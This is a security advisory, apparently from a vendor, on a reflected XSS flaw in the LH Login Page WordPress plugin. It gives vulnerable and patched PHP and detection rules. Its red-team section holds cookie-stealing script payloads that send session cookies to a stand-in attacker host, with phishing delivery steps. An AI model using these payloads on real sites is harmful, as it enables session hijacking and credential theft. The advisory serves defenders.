CVE-2025-23547

Executive Summary

CVE-2025-23547 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin LH Login Page by Shawfactor, affecting versions up to and including 2.14. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into the login page. With a CVSS score of 7.1 (High), this flaw can be exploited without authentication, requiring only user interaction (e.g., clicking a crafted link). Given the lack of a patch and the plugin's role in authentication workflows, this poses a significant risk to WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The supply chain risk is limited to the plugin's update mechanism; however, since no patch exists, users must manually remove or replace the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a malicious link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High (7.1) – Reflected XSS can lead to session hijacking, credential theft, and defacement.

Deep Dive & Mechanics

The vulnerability exists in the lh-login-page plugin's handling of the redirect_to parameter (or similar input fields) during login page generation. The plugin fails to sanitize or escape user-supplied input before rendering it in the HTML response. An attacker can craft a URL like:

https://victim.com/wp-login.php?redirect_to=<script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in the context of the WordPress login page, allowing the attacker to steal cookies, perform actions on behalf of the user, or redirect to malicious sites.

The root cause is the use of echo $_GET['redirect_to'] or similar unsanitized output without proper escaping functions like esc_url() or esc_attr().

Vulnerable vs. Patched Code

Vulnerable Code (lh-login-page.php, line ~45):

<?php
$redirect_to = $_GET['redirect_to'];
echo '<input type="hidden" name="redirect_to" value="' . $redirect_to . '" />';
?>

Patched Code (hypothetical fix):

<?php
$redirect_to = isset($_GET['redirect_to']) ? esc_url($_GET['redirect_to']) : '';
echo '<input type="hidden" name="redirect_to" value="' . esc_attr($redirect_to) . '" />';
?>

The patched version uses esc_url() to validate the URL and esc_attr() to safely output it within an HTML attribute.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a WordPress instance with LH Login Page v2.14.
2. Craft Payload: Create a malicious URL:

   http://victim/wp-login.php?redirect_to="><script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Deliver: Send the link via phishing email or social engineering.
4. Execute: When the victim clicks, the script exfiltrates their session cookie to the attacker's server.

Example Exploit (Python):

import requests

target = "http://victim/wp-login.php"
payload = "\"><script>fetch('http://attacker.com/steal?c='+document.cookie)</script>"
url = f"{target}?redirect_to={payload}"
print(f"Send this link to victim: {url}")

Blue Team (Defense & Detection)

1. Monitor Logs: Look for abnormal redirect_to parameters containing <script> or onerror= patterns.
2. WAF Rules: Block requests with redirect_to containing HTML/JavaScript.
3. User Training: Educate users not to click suspicious login links.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-login.php with redirect_to parameter containing <script>, onerror, javascript:, or base64-encoded payloads.
• Host: Unusual entries in web server access logs with redirect_to containing XSS patterns.
• File: Modified lh-login-page.php (if attacker uploads a backdoor).
• Cookie: Unexpected wordpress_ cookies being sent to external domains.

Detection Engineering

YARA Rule

rule CVE_2025_23547_XSS {
    meta:
        description = "Detects reflected XSS payloads targeting LH Login Page"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-23547"
    strings:
        $payload1 = /redirect_to=.*<script/i
        $payload2 = /redirect_to=.*onerror=/i
        $payload3 = /redirect_to=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in LH Login Page (CVE-2025-23547)
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts against LH Login Page plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - 'redirect_to=<script'
            - 'redirect_to=onerror='
            - 'redirect_to=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of redirect_to with safe URLs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23547 Reflected XSS in LH Login Page"; flow:to_server,established; content:"/wp-login.php"; http_uri; nocase; content:"redirect_to"; http_uri; nocase; pcre:"/redirect_to=.*(<script|onerror|javascript:)/Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Deactivate and delete the LH Login Page plugin. Replace with an alternative login page plugin that is actively maintained.
2. Virtual Patching: Add a WAF rule to block redirect_to parameters containing HTML tags or JavaScript.
3. Code Fix: If you must keep the plugin, manually patch lh-login-page.php by adding esc_url() and esc_attr() as shown in the patched code section.
4. Monitoring: Enable logging for all login page requests and review for suspicious patterns.
5. User Awareness: Warn users about phishing links targeting the login page.

Valters IT – Securing your digital frontier.